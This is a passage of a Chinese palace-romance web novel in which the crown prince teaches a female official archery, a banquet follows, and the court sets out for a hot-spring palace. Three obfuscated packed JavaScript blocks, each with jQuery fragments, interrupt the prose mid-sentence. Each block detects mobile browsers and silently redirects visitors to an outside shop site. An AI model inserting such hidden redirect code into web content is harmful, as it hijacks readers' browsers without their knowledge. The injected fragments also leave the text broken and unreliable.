“不玩了不玩了。”刘驰骞显然是笨的那个,他面前的壶瓶坚韧不拔地伫立其中,瓶中一支羽箭也没有,全掉在瓶身的四周。
而薛沛南,深谙此道,他不满足空手投壶,走得极远,用箭弓射之。
这是更符合古礼,也是最考验人的玩法,同时也非常/装/逼/。
薛沛南的壶瓶,有三个孔洞,每个孔洞里落着几枚羽箭。
但也有掉落在地上的。
薛沛南每一次射箭投壶,姿势宛如标准的教科书,引得周围的人看个不停。
“子清姐姐,”谢凝荷摇着她的胳膊,“你也来玩吧?”
“我不会。”应子清摇头。
“我其实也不会,但我都敢玩,谁能笨得过刘驰骞啊!输了也没什么,就当练练手了!”
“哎,你这是什么意思?”刘驰骞不愿意了,抬袖擦擦脑门上的汗珠,辩解说,“我这是状态不佳。”
“行行行,你每次状态都不佳。”谢凝荷挥挥手,懒得跟他争执。
“你懂什么,我认真起来,薛家那小子根本比不过!”刘驰骞恨恨找回面子。
“哦,”谢凝荷毫不客气,“薛沛南射箭投壶,你站得那么近,也没投中。你怎么比他厉害啊?输得比人家厉害吗?”
应子清想拉一拉谢凝荷的袖子,让她别说了。
打人不打脸,刘驰骞说大话,其实是给可怜兮兮的自己,挽个尊。你这样说,岂不是把人家的台阶踹了,他不得炸了吗!
刘驰骞果然炸了,把袖子一撸:“我非得露两手给你看看!”
“你!”刘驰骞指着应子清说,“你来和我比试!”
应子清:“……”
赢一个完全不会的新手,难道有成就感吗?
薛沛南手持羽箭与弓,走了过来。
估计听见刘驰骞刚才放的话,年轻人好胜之心大起,薛沛南慢条斯理道:“这样好了,而这位女官,由我来教。我们射箭投壶,你还是老样子,徒手投壶。她输了,算我输给你。”
“好,就这样办,我第一个支持!”谢凝荷笑起来,只差拍手称快了。
刘驰骞想了想,怀疑地看着应子清:“你真的不会吗?”
“不会。”应子清老实回答,但她也不想参加比赛啊!
“子清姐姐,玩一场嘛。”谢凝荷看出应子清的不情愿,“好不容易有次机会,我们也不是能天天玩的。”
应子清看着庭中古拙精雅的礼壶,想了想,也有些跃跃欲试。
毕竟,射箭投壶是极为久远又风雅之事,它摒弃了射箭的杀戮之气,转而以一种精巧而不失犀利的技艺展现,颇有君子之风。
“来来来!”应子清兴致盎然,跟着撸起袖子,露出一截常年不见阳光的雪白手臂。
薛沛南望着应子清露出来的肌肤,又去瞧她秀美的眉眼,微微发了怔。
“怎么傻了!”谢凝荷推了薛沛南一下,“不是教子清姐姐弓箭吗?”
“她……”薛沛南犹豫着问,“这个宫女叫什么?”
“应子清。”谢凝荷解释道,“什么宫女,人家是女史官,是救太后的功劳换来的。”
“那,”薛沛南对着应子清,忽然有些拘谨,不自觉柔声细语,“应女史,我们开始吧?”
“好啊,”应子清左右看看,举起空空的双手问,“怎么开始?我没弓箭,我去拿一个?”
“用我的即可。”薛沛南把弓箭递给应子清。
上等紫杉木做的弓,微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389648|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉,质感细腻,不失坚韧。
应子清握住弓的中心,象征礼仪的长弓,在她面前,曲起一道极为优美的弧度。
应子清心里,小小地心花怒放了下。
光是拿在手上,她不禁生出一种箭矢离弦,百步穿杨,天下尽在掌握的爽感!
“嗯嗯,我感觉到一股气场了!”应子清高兴道。
“什么气场?”薛沛南思索片刻,自行替她解释,“若是排除杂念,达到身心与弓的合一,自当有一种无我之境。”
“你还未开始学,便先悟道,许是有天赋在。”薛沛南认真道。
“……啊?可能吧。”应子清只不过随口用一句二次元的词,竟引来他一番引经据典。
看来,这位薛宰相之子文韬武略,干什么都不错啊。
应子清拿稳弓箭,不知下一步:“然后呢?我该怎么做。”
“调整身姿,找到一种你最自在也最有力量的状态。”薛沛南抿了抿嘴角,走近几步,略微青涩道,“我教你。”
说着,薛沛南就要上前,触碰应子清的肩膀与腰身。
“子清。”
薛沛南差点以为,这声冷淡又亲昵称呼,出自自己的口。
众人转头一瞧,刘之衍神色淡然,朝这边走来。
他一身玄黑常服,宽袖长裙,腰间金玉环佩作响,却有一只极为扎眼的粗棉香包混入其中。
刘之衍视线从薛沛南身上一扫而过。
只是一眼,薛沛南硬生生僵在原地。
薛沛南心思不算敏感,却也不笨,他从太子殿下那沉郁的眼神里,看到一闪而过的戾气。
“我来教你吧。”刘之衍语气淡淡。
“哇,”谢凝荷捧着手,“太子哥哥的射艺,可要比薛沛南高得多,子清姐姐,你赢定了!”
“哦,好啊。”应子清答应。
忽然之间,“青锁香风”的清苦香味,在应子清的鼻息间萦绕。
不用回头,她便能清晰而强烈地感觉到,刘之衍的存在。
一如古书中的正人君子,刘之衍站在应子清身后,谨慎地与应子清保持极细微距离。
刘之衍身量极高,他只得微微俯身,在她耳畔轻声教导:“手先拿稳。”
淡淡然的嗓音,平静陈述。
然而,男子的声音像有颗粒质感般,在应子清的耳朵里磨了下,她只觉得耳朵酥了。
应子清自问不是声控,听了也有些腿软。
似是察觉应子清的变化,刘之衍严肃道:“别紧张。”
“……哦,好的。”应子清清了清嗓子,人也专注起来。
刘之衍用指腹点一下应子清的手背:“这里,握紧了吗?”
刘之衍的动作,一触即离。
可是留下的触觉,却很有存在感。
“嗯。”应子清强迫自己专心。
刘之衍继续用指腹,轻轻碰了下应子清的肩膀:“背要打直。”
应子清跟着调整了下,回答:“好。”
正当应子清以为,接下来准备瞄准之时,刘之衍的指腹,突然从她后腰滑下去:“这里太软,腰腹力量不够。”
……
仿若有一阵令人酥麻的电流,速度极其凶猛迅速地,淌过她的全身。
应子清的脸,当即红透。
她差点手软把弓箭掉在地上。
怎么学个射箭,这么的……
她不想学了!
应子清气劲一松,刚才好不容易调整好的姿势,破了功。
刘之衍面色仍是端正,眉头微蹙,微微斥责:“子清,须得凝心静气,再来。”
16. 第 16 章
旁人在看她,不懂她为什么忽然泄劲。
应子清很想瞪一眼刘之衍。
但她琢磨了下,是她后腰的皮肤薄,触觉敏锐,特别容易痒。
刘之衍也不知道,似乎不应该怪他。
应子清定了定心神,目光透出坚毅:“再来。”
怕刘之衍不小心碰到哪里痒痒肉,她特意嘱咐:“不是你教的不好,但我怕痒,别碰我的腰。”
“哦,好。”刘之衍答应,又与应子清稍稍拉开些距离。
应子清回忆刚刚的动作,再度将弓举正,摆出阵仗:“我这样可以吗?”
刘之衍观察道:“让我看看。”
有一些瑕疵,应子清的腿,绷得太直,重心不稳。
正想和刚才那般,用食指指腹点一点她的腿,但刘之衍看着她发红的耳朵,若有所思。
应子清皮肤白皙,刚才红起来的脸,一直没消下去。
“去拿戒尺给我。”刘之衍向后摊开掌心。
“稍等。”吴内祥微微躬一身,迅速掉头去找。
“?”应子清忍不住紧张,“不是吧,你要打我?”
刘之衍愣了下,他只是借住工具教学而已,随即笑了:“怕挨打吗?那你要认真学。”
应子清下意识讨价还价:“你要打的话,轻一点,有个意思就行,我学得很快的!”
“好,我记住了。”刘之衍认真点头。
“……”应子清无语,还真要打她啊?!
戒尺送来了。
刘之衍举着戒尺,像举一柄短剑,他的手往下,在应子清的膝盖,不轻不重地一拍:“屈膝。”
接着,戒尺来到她眼前,但没有打她,刘之衍道:“收下巴。”
谢凝荷说得不错,刘之衍是个中高手。
在他的指导下,应子清一点点改进调整,渐渐有一种与手中的长弓,融为一体的感觉。
哪怕手中没有箭矢,只要她把弓拉满,凭那蓄满力量的劲道,也能发出一声强劲的弓弦声。
果然,刘之衍也觉得差不多了。
“你第一次开箭,试一下。”刘之衍把羽箭,递给应子清。
“收心,凝神。”刘之衍的语速很慢,也很稳。
应子清把羽箭搭在弓箭上,随着他的语调,缓缓地将弓弦,拉到极致。
瞅准一个时机,刘之衍斩钉截铁:“放箭!”
应子清的手,应声一松。
箭矢尾羽洁白,在空中划出短促的尖啸声,如同一柄利刃划破长空。
眨眼间,羽箭落入礼壶的瓶口之中。
“我正中壶心了!”应子清高兴得不行,对着刘之衍粲然一笑。
刘之衍笑着回视,只是笑意很浅。
刘驰骞慌忙跑来,满脸郁闷:“什么啊?哪有第一次学,就投中的?你真的是新手吗?”
“是啊!”应子清晃了晃手中的长弓,“我不仅第一次学,还是第一次接触。”
刘驰骞不肯相信,注意力跑到弓箭上去了:“是薛沛南的弓很好吧?难不成,那是你父亲珍藏的名弓?”
薛沛南冷哼:“少胡说八道,我从地上随便找的。”
谢凝荷见应子清射出那帅气的一箭,不禁羡慕:“有名师教导,果然效果拔群,看得我也想学了。”
“名师?”应子清回头,好奇地望着刘之衍。
“说是名师,也不尽然,我只教过你一个,算不得老师。”刘之衍解释。
“你到底有多厉害啊?”应子清越发好奇了。
看着她亮晶晶的眼神,刘之衍默了片刻,问:“你想看我射箭吗?”
应子清:“那肯定太想了!”
刘之衍微微扬眉,笑容里不禁带出少年气:“想看的话,你得答应我一件事。”
他向来在人前,作出少年老成的模样,难得有这样轻快随意的一面。
很好看。
应子清眨了下眼,跟着挑眉道:“怎么这还有代价的?”
刘之衍笑:“什么事都有代价,不过不会太难。”
应子清想了想,经过这些天相处,刘之衍人还挺好的,他提的要求,肯定不会过分,无非多做两件事而已,她顺口答应:“行吧,先说是什么事?”
刘之衍:“我还没想好,等想好了再说。”
他们在这里一言一语的商定,谢凝荷却唏嘘了声。
应子清听见了,问她:“怎么?”
谢凝荷犹豫着,朝刘之衍的方向看了眼,连连摇头:“没有没有……”
但她脸上心事重重,明显不像没事的样子。
刘之衍从应子清手中接过长弓:“看好了,不要眨眼。”
恰有一阵秋风吹过,寒意阵阵。
刘之衍玄色长袍猎猎,开弓的身姿,笔挺如松,又如浑身蓄力准备伏击的猛兽。
看向礼壶的黑眸,并不如何认真,脸色也有些舒展。
刘之衍不怎么把正中壶心之事,看得如何重要,因为他早已熟稔在心,不会出一次错。
和应子清不同,刘之衍准备时间并不长。
就像最老道的猎手,他所做的每一步,都经历过千万次的演练,只捡最有效率的方式行事,没有一个动作多余。
弓拉开了。
如有猛禽击空的尖啸,直刺天际。
那声音尖锐而凌厉,带着森然的肃杀之意,割着每个人的耳膜。
所有人还没反应过来之时。
漂亮吉祥的礼壶,发出轻微的破裂声,接着像是不堪重负般,瓶身顿时四分五裂。
碎了。
刘之衍射出的箭矢,犹如钢针,牢牢钉进礼壶的中心。
现场忽然静默了。
有着洁白羽尾的箭矢,伫立在人群中心,散发着主人射箭之时所凝聚的锐不可挡的冷厉锋芒。
应子清张了张口,忽然不知道该说什么。
因为,刘之衍那一箭的气势,太过凌厉可怕。
快到晚间,夜风变大了,廊下的铃铛清凌凌地响。
吴内祥担心诸位受了凉,请大家回殿。
众人开始往后走,刘驰骞仍然不可置信:“我这就输了?”
薛沛南无情道:“是的,你输了,不过你不是输给我,而是应女史。我们玩投壶,是有彩头的。既然人家赢了,你好好想想送她什么吧。”
刘驰骞啧了声,头疼地抓抓脸。
谢凝荷找了个机会,对应子清说:“刚才太子哥哥和你聊天,我不好插嘴。其实太子哥哥一般不碰武器,陛下太后也不希望他碰武器,现在你知道了吧。”
那枚羽箭,本是礼仪用的,杀伤力被削弱不少。
可太子信手拉弓,把一枚羽箭,用出战场厮杀敌人的气势。
武器是主人无形的化身,想起那精准冷酷的一箭,应子清禁不住点点头:“好像知道了。”
“哎,还不止。”谢凝荷把声音压了压,郑重其事道,“曾经有位得道高僧点评,说太子杀戮之气太过,不祥。”
———
夜幕落得早,一行宫女在走廊里行走,沿路点亮两旁的宫灯。
这几位公子小姐受到太子的邀请,夜宿碧梧宫。
平日清冷得冒寒气的碧梧宫,灯火通明,吵闹和唱歌的声音从朱红宫窗传了出去。
快到夜宴的时间,宫女太监忙得脚不离地,人来人往筹备宴席。
应子清说是帮着宫女们端茶奉酒,其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404307|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实在角落里找了长椅,偷偷休息。
一整天忙忙碌碌,她有些疲累。
但闲着的时候,她也不能真正闲着,总在心里琢磨一些事。
下午射箭,越发说明,刘之衍并非明君贤主。
她作出投靠安景王的选择,没错。
可是,从她和刘之衍的情面上讲,她不觉得刘之衍不可救药。
连谢凝荷也说了,若不是为了给她演示,刘之衍不是把他的暴戾之气,收得好好的么?
不知不觉,应子清心中的天秤,开始摇摆。
“应女史。”一个意外的人,从拐角走出来。
“薛公子?”应子清站起身,微微行了一礼。
薛沛南略一颔首。
这一点头,多少透出世家大族公子哥高傲的神态。
薛沛南身材修长高挑,一袭上乘的锦袍,只借了些许亮光,衣饰上祥云纹路,便闪动着流光溢彩。
他站在应子清面前,半晌不说话,似是在看她,又似随意欣赏外面什么都看不到的夜景。
应子清不想陪着他干站着,正想找个借口离开。
薛沛南转而盯着她瞧:“听说之前在松云雅集上,太子殿下为一位娇怯漂亮的宫女闹出动静,那个人,是不是你?”
应子清愣住。
这种问题,跟问你是不是太子花边新闻里的绯闻女主角,有什么区别。
又不是什么好事。
应子清认真想了想,义正词严道:“不是我。”
薛沛南:“……”
薛沛南咳了声,温声揭穿她:“我知道是你。”
“真不是,”应子清坚定地把黑锅甩出去,“东宫长得好看的宫女多了去了,我初来乍到,不可能是我。”
薛沛南望着她,笑了:“是你,我已经问过谢凝荷了。”
应子清郁闷,那你还问什么劲……
应子清只得笑了笑,干巴巴解释:“好吧,其实那日替太子殿下解围,我并非有意作那……种姿态。”
“没见你之前,我或许不信。”薛沛南微微点头,“见了你,我信。”
“嗯。”应子清答应一句,又不知道该说什么了。
这一位宰相的公子,站这么久,总不能就是问她这么一句吧。
不过,八卦之心,人人有之,会好奇也是应该。
问清楚了,应子清觉得该离开了。
偏偏,薛沛南再次叫住她:“应女史。”
应子清深了一呼吸:“……嗯,您说。”
“我可以同他们一样,叫你子清吗?”薛沛南问得小心翼翼。
应子清皱了下眉,有些诧异:“可以……吧?”
薛沛南得到许可,露出一个腼腆的笑,轻声道:“子清?”
“……”
也不知道是不是冷风吹的,应子清起了一胳膊的鸡皮疙瘩。
“很好听的名字。”薛沛南如玉般面庞,微微红了,“你可以叫我阿南。”
应子清又起了一阵鸡皮疙瘩,她诚心建议:“外面风冷,要不然,我们回去吧。”
吴内祥不知道从哪里钻了出来,身后跟了几名拿着桌案架子的小公公。
“薛公子,应女史,你们躲在这里!”最后那句,吴内祥是对应子清说的。
“正要回去了。”应子清回答。
“我远远的看到这有两道人影,这里又无灯,又无景,也不是常过的道,只当有人在这里说悄悄话,所以赶过来看看。”吴内祥摇了摇头,“谁知道是你们两个,哎,快快跟上来吧。”
走出去两步。
薛沛南忽然以耳语般的声音,对应子清道:“子清,请小心,太子殿下他……并非良人。”
17. 第 17 章
几个人走入明亮温暖的厅中,吴内祥嘴快,对着刘之衍,把薛沛南和应子清在一起说话的事,给说了出来。
明明是件碰巧的事,被吴内祥形容得气氛暧昧,好像薛沛南和应子清,特意寻了个角落,互诉衷肠。
应子清听了不太舒服,也不知道为什么,她下意识去看刘之衍的表情。
刘之衍正饮着酒,听了吴内祥话,他举杯的手,僵在半空。
“嗯,我与应女史一见如故。”薛沛南笑着答应,脸上不知道是不是热出来的红晕,看上去颇为羞涩,“应女史同意我叫她子清了。”
应子清无语,但她好像……
是同意了来着,虽然当时她那个语气,委实勉强。
刘之衍本来不明显的笑意,渐渐消退,他缓慢垂眼,把酒杯放在桌案上,淡淡道:“是吗。”
“子清,”薛沛南微笑招呼道,“晚上的饮宴,来我身边,可以吗?”
薛沛南是客,他面前的长桌案摆得十分阔气,各色精致小巧的菜肴,玲琅满目。
在这些客人的一旁,还有一案小桌,是给清客食客准备的。他们的任务,是陪着客人把酒言欢,得有一定的机智文采才能胜任。
薛沛南发了话,正在进场的清客,绕开了路,把他面前的小案桌让了出来。
主人向来不会拒绝客人的要求。
刘之衍脸色不太好,但也没说什么。
应子清本在犹豫,像这样的请求,刘之衍不好拒绝,但她可以拒绝的。
薛沛南的侍从,趁机帮衬道:“我们家大公子喜欢和应女史说话,请应女史不要推脱才是。”
“不错,知己难得。”刘驰骞大大咧咧,拍桌附和,“既然你与这个、这个应女官关系好,那就赶紧坐下吧,开宴开宴,我快饿晕啦。”
小宫女笑容满面,过来扶住应子清,带着她往薛沛南面前一坐。
宫廷里的教坊,来了支舞姬,敦煌壁画飞天神女一样的人物,鱼贯而入,至大厅中央。
弦声一起,舞姬们翩然起舞,裙摆飞扬,绫罗舞衣轻薄如蝉翼,丝带甩出仙气飘渺的曼妙之态。
刘之衍耳朵挑剔,格调高,平日里不好此道。
他的面前没有准备清客的位置,只是独自饮酒。
刘驰骞知道,那是普通人入不了太子哥哥的眼,他便从舞姬之中,挑了位最柔美的少女。
“太子哥哥,”刘驰骞笑眯眯朗声道,“你一个人喝酒,多寂寞,我给你推荐一位佳人,如何?”
刘驰骞动作极快,他早早把那位美人从舞池中唤了上来。
此时,美姬头戴花冠珠翠,步摇轻晃,一袭流彩华美的绫罗裙,腰间束了条丝绦,恰到好处地展露不盈一握的腰身。
美姬面带含羞,微微垂着眼,脸上满满地期待着。
只要刘之衍答应一声,她便会坐到他身边,伸起纤纤素手,为他斟酒。
应子清跪坐在席间,本来随意敷衍着薛沛南,但她见了那美姬翘首以待的神态,心下一沉。
也是在这个时候,她忽然发现,并非所有人都有她那般想法,与太子的关系淡如清水。
在很多人看来,太子仿如高悬灿烂的太阳,璀璨耀目,是平日里怎么努力,都接近不了的人物。
有相当数量的人,会牢牢抓紧每一次靠近太子的机会。
那位频频将眼神投向太子的美姬,至少是这么想的。
不知道为什么,应子清心里忽然难受起来。
恰好,刘之衍朝她看过来。
应子清心情一团糟,不想理他,转开了眼。
刘之衍眼神黯了下去,他眉头微拧,呵斥刘驰骞:“什么佳人侍酒?你这是什么做法,罔顾廉耻,还不快住口。再叫我听见,绝不饶你。”
挨了一顿教训,刘驰骞也觉得,这个念头太过酒色之徒也,他怏怏不乐:“我就是随便说说嘛。”
谢凝荷适时拿出手绢,狠狠地丢刘驰骞:“真不像样,改天我告诉你母妃,让赵王妃收拾你。”
“子清,”薛沛南端着酒壶,往她杯子里斟酒,他笑着,“你怎么一会生气,一会开心的。”
“有吗?”应子清下意识反驳。
薛沛南点头,指了指她鼓起的脸颊:“有,实在太明显,叫我不得不注意。”
“没有。”应子清眨眨眼,干脆否认了。
她心烦意乱的很,将桌案上刚斟满的酒,一饮而尽。
应子清平日里是性子沉静的人,难得作出这等粗野慌张的动作。
薛沛南被她怒气波及,有些讶异,他倒没说什么,只当她心情不好,微微耸肩便过去了。
几曲过去,舞姬退场,夜宴进展到“传花敬酒”。
这是宫中经常玩的游戏,鼓乐者轻敲花鼓,众人和歌而唱。
席间的列席者不仅跟上曲调,还要把丝绸做的花束,抛掷给下一位。
鼓声停,花束在谁手中,又或是谁唱走了调子,需要领罚。
“照顾一下我啊,我可不会吟诗作对,不改改这个惩罚,要是我输了,非得闹你们。”在刘驰骞强烈要求下,本该饮酒兼作诗的惩罚,只留下饮酒一项。
刚才那位美姬趁着众人没注意,私下央求乐伶,给她一个给太子侍酒的机会。
乐伶与美姬一同出自教坊,自然乐得成人之美。
那丝绸扎的花束,花瓣精美硕大,层层叠叠,在空中飞来飞去。
传到刘之衍手中时,鼓声忽然停了。
“哎呀,”刘驰骞眉开眼笑,“是太子哥哥得了花,该罚。”
刘之衍也不推脱,就要去端酒,然而他的酒壶已空。
吴内祥把早早温好的酒壶,端了出来。
美姬之前将花递给太子,退至他身后,一直离的不远。
见吴内祥把酒壶放置桌上,美姬莲步轻移,款款来到刘之衍身边,柔声道:“让奴家为太子殿下斟酒。”
此举,可谓大胆至极。
但在大晋朝,有掷果盈车、女子追求美貌君子之风。
太子殿下被美姬追求,实乃风雅之事。
若是拒绝了,倒显得太子殿下不通人情。
刘驰骞没想到,他刚刚随手一指,点燃了美姬的心思。刘之衍没答应让她侍酒,她没死心,再度作出更明显的追求太子之意。
刘驰骞笑了:“哎,太子哥哥,这次是美人主动,你不好辜负人家了,这酒,你得喝。”
薛沛南看热闹看得欢快,附和道:“是啊,莫作那不解风情的人,太子殿下还是饮下酒吧。”
应子清见那美姬,漂亮的大眼睛望着刘之衍,怯生生地举起酒杯,眼里带着讨好。
或是出于礼数,或是愿意接受处罚,又或许,还有别的什么原因。
刘之衍略一点头。
美姬羞涩的双眼一亮,顷刻间泛起泪光。
她涨红一张脸,端着酒杯送至刘之衍嘴边,服侍刘之衍饮尽杯中的暖酒。
众人当即起哄,尤属刘驰骞闹得最大声,刘之衍并未阻止,只是脸色淡淡的。
应子清低
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412428|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头抿了一口酒,作出不甚在意的神色。
可她不自觉攥住裙裾的手,在微微发抖。
——
宴会结束,谢凝荷拉住应子清:“宫殿这么大,我住起来觉得害怕,子清姐姐,你陪我一起吧。”
应子清此时不想回太子寝殿,不想见到那个人,她点头答应:“好啊。”
虽然她的声音,听起来有气无力的,谢凝荷还是很开心,抱住她的胳膊:“子清姐姐,你是不是累了?我难得出来玩,心情特别好,还想跟你一起秉烛夜谈呢。”
“夜谈啊……”应子清幽幽道,也不知道今晚能不能睡着,总觉得会失眠,“我想可以吧?”
“那可说好了呀,到时候先睡着的人是小猪!”谢凝荷睁着大眼睛,里面的兴奋闪烁不停。
“好啊。”应子清还是懒懒的。
夜风清凉,宫女提着灯笼,在前方引路。
两人叽叽喳喳的,一齐往谢凝荷暂住的院子走。
吴内祥悄无声息地迎面而来,他冲谢凝荷行了一礼,转而对应子清道:“应女史,太子殿下身子不适,请应女史过去看看。”
“什么啊,”谢凝荷顿时不满,“说好了她今晚陪我的嘛。”
应子清呆在原地,不想过去:“为何唤我?我不懂医治。”
吴内祥没有解释,语气加了些许强硬,不容商量道:“太子殿下有令,请应女史过去。”
搬出这种态度,谢凝荷也无法,气得踢一脚宫柱:“我就说太子哥哥惯会扫兴。”
应子清只得和谢凝荷告别,独自转回寝殿。
踏入寝殿,层层叠叠垂落的红纱,仿若云霞流云,悠悠荡荡沉沉浮浮。
殿内烛火摇曳,光影在金砖玉瓦间流动。
应子清熟门熟路,转入寝殿的最里间。
刘之衍解开了发冠,打着卷儿的黑亮长发,迤逦地从玉枕垂至床榻。
应子清在一旁坐下,轻声叫他:“刘之衍?你还好吧?”
刘之衍没有回答。
应子清知道,他喝了一晚上的酒,大概是不好的。
那美姬敬完酒,刘之衍没让她继续侍奉,而是挥退了所有的舞姬与乐伶。
好不容易闹起来的气氛,又让刘之衍弄冷了。
大家知道他性子严肃,抱怨地说了几句,也就过去了。
借着朦胧灯光,应子清低头瞧他。
刘之衍本来苍白的脸色,白得近乎透明,不是很健康的样子。
他似是很痛苦,双目紧闭,淡色嘴唇紧抿,俊秀的眉间,常年拧着,像有朵乌云。
“解酒汤也没喝,就这么睡过去了?”应子清小声道。
寝殿唯有他们两人,自是无人回答她。
烛火跳跃,光线半明半暗,刘之衍的眉色很黑,剑眉飞入鬓,好像要割伤人。他的鼻梁很高,脸上线条分明,已经隐隐显出男生即将长成男人的俊朗感。
若是在小蓝星大学校园,刘之衍一定是Bking级最有话题度的男生,大家会追着看他的那种。
应子清像是不服气,哼了声:“谁让你喝那么多,睡了就算了,还叫我过来。”
对着一个醉鬼,说了他又听不见。
应子清叹气,站起来回她的小暖阁。
她转身时,男人冰凉的手抓住她的手腕,将她一拉。
应子清猝不及防,摔进柔软如云的锦被之中。
刘之衍俯在她上方,他黑沉目光如深渊,让人害怕也让人着迷:“子清,我看见了,你在生气。”
18. 第 18 章
最近,庆帝身体有所好转。前几日阳光灿烂,在众人簇拥下,庆帝去宫里的自雨亭转了几圈,这个消息很快在宫中传开。
皇帝缠绵病榻,久病不愈,如同绵绵阴云,笼罩在前朝后宫。
好不容易听见皇帝大有起色,众人的心情,豁然开朗了些。
又到晨昏定省之日,皇后来傅太后宫中请安。
傅太后礼佛,每日清晨,必定焚香诵经,既是为了故去的英灵祈福,也请满天神佛保佑她的儿子。
待功课完成,冷嬷嬷扶着傅太后走出来。
窦皇后已在厅中,坐下等候。
傅太后看见她,笑吟吟问:“庆帝如今,可以自己走路了?”
窦皇后慢慢放下茶盏,颔首道:“回太后的话,皇上能下床了,只是走不远。太医的意思,如果觉得无恙,平日可以多走走,不过,仍要注意保养得当。”
傅太后眼神亮起些微希望,惊喜不已:“怎么,我听这个意思,是大愈之兆?”
窦皇后矜持点头,也笑了:“是,昨日我去瞧了瞧,皇上脸上气色不错,龙体日渐康健。”
“这可太好了,佛祖保佑。”傅太后赶紧将腕上的佛珠解下来,默默诵了段平安经。
窦皇后耐心等着,见傅太后诵完了经文,她微微倾身:“太后,马上入冬了。大明宫的隆冬,天寒地冻,滴水成冰。陛下龙体初愈,如果遇上天公不作美,风雪凛冽非常,皇上的康复之途,令人堪忧。何况,太后每年入冬,寒气侵体,凤体欠安,此地也不宜太后静养。”
这是上了年纪的人有的毛病,入冬了,身子骨熬不得这么冷。
傅太后秀美的眉心微蹙,频频点头:“皇后,你有什么好法子?”
“依臣妾的想法,”窦皇后不紧不慢道,“今年冬季,不如另寻一处暖所,比如温泉别宫骊宫,太后以为如何?”
傅太后沉吟半晌。
温泉别宫距离长安城不远,那里有天然的温泉,汩汩泉涌升腾出水汽,氤氲温暖。附近的花草,受到地气与热汽的滋养,长青不败。
皇后的主意不错,但傅太后不得不犹豫。
若他们这群人全过去了,等于把一个小朝廷,搬到温泉别宫了,着实劳师动众。
窦皇后看出她的担忧,进而道:“虽说此举大动干戈,可是事关陛下安康,臣妾以为马虎不得。”
“是你考虑的周到。”傅太后叹气,一锤定音道,“皇帝的龙体康健,就是天下最大的事,那就去骊宫吧。”
按说,庆帝准备去温泉别宫,太子理应在朝中监国。
原本庆帝也是这么安排。
太子即将成年,可以着手处理诸多国家大事了。
可是,不知道皇后给太后提了什么建议,当日下午,太后特意传令,此行太子必要一同随行。
朝中一番紧急商议,最后定下,由宰相薛正源驻留长安城,暂代庆帝处理政务。如果有重要文件,即刻快马加鞭送往骊宫,呈交庆帝。
费时一个多月,这支浩浩荡荡的队伍,终于整顿好,蜿蜒曲折地向骊宫出发。
这日下着雾,黄叶枯树影影绰绰,隐藏在浓重的霜霭弥漫之中。
远处的山峦仿佛消失了,铅灰色乌云遮天蔽日,只瞧空中悬浮一轮黄沉沉的太阳。
路上,刘之衍须得鞍前马后,在庆帝的鸾驾周围伴驾。
东宫出行的队伍,被编入皇帝的侍从队伍里。
不远处,皆是恭肃严整的左右卫军。
天子御驾气势非凡,东宫那一行太监宫女屏息敛神,谨小慎微,唯恐惊扰圣驾。
早上,刘之衍骑了匹通体黑亮如绸缎的乌骓马,追随到前方庆帝的鸾驾去了。
应子清和两名小宫女,共乘一辆马车。
这一次去温泉行宫的命令下得急,傅太后的懿旨传出来,全大明宫忙忙碌碌,收拾路上需要带的物什。碧梧宫也不例外,应子清根本腾不出空。
与安景王预约,于长安城酒肆聚会,应子清失约了。
估计安景王会以为,她在耍他。
事已至此,应子清莫名变了想法,大概这样失约也不错。
马车摇摇晃晃。
同坐的两名小宫女,第一次跟这么大的大队伍出宫,兴奋得不得了。
知道不远处有左右卫尉在,她们躲在马车里,说话也不敢大声。
两人高兴的脸色藏不住,偷偷地掀开马车车帘,不住往外看。
活泼些的小宫女叫叫香巧,穿朱色宫装,挽着双平髻,她见应子清平平淡淡,因而问:“应女史你就不好奇吗?好不容易出趟宫,都不和我们一起看看。”
语兰性子文静,她似是很崇拜应子清,赞叹道:“应女史气度不凡,自然处事从容,波澜不惊。你是没见过,应女史那天如何救治太后。我是亲眼目睹,她站在那里,好像定海神针一样。没有这样沉稳的心态,怎么作女官?”
“是我们太叽叽喳喳了。”香巧不好意思道。
应子清愣住,没想到自己给别人留下这样的印象。
她也不是不好奇,这一路上奔波,只是赶路而已,没什么可看的。再加上爽约安景王的事,压在她心头,无暇关注其他。
小宫女的话让应子清回过神。
长途漫漫,路上无聊,她干脆丢开那些乱七八糟的想法,和她们一言一语聊着旁的事。
快到傍晚时分,去骊宫的行程,才走了一半。
一行人准备安营扎寨。
应子清和两个宫女分到一张小帐篷。
营帐外烧着熊熊柴火,驱除夜间泛上来的寒露,能让人保持暖和干燥。小帐篷的舒适度不敢奢求,不生风寒已经很好了。
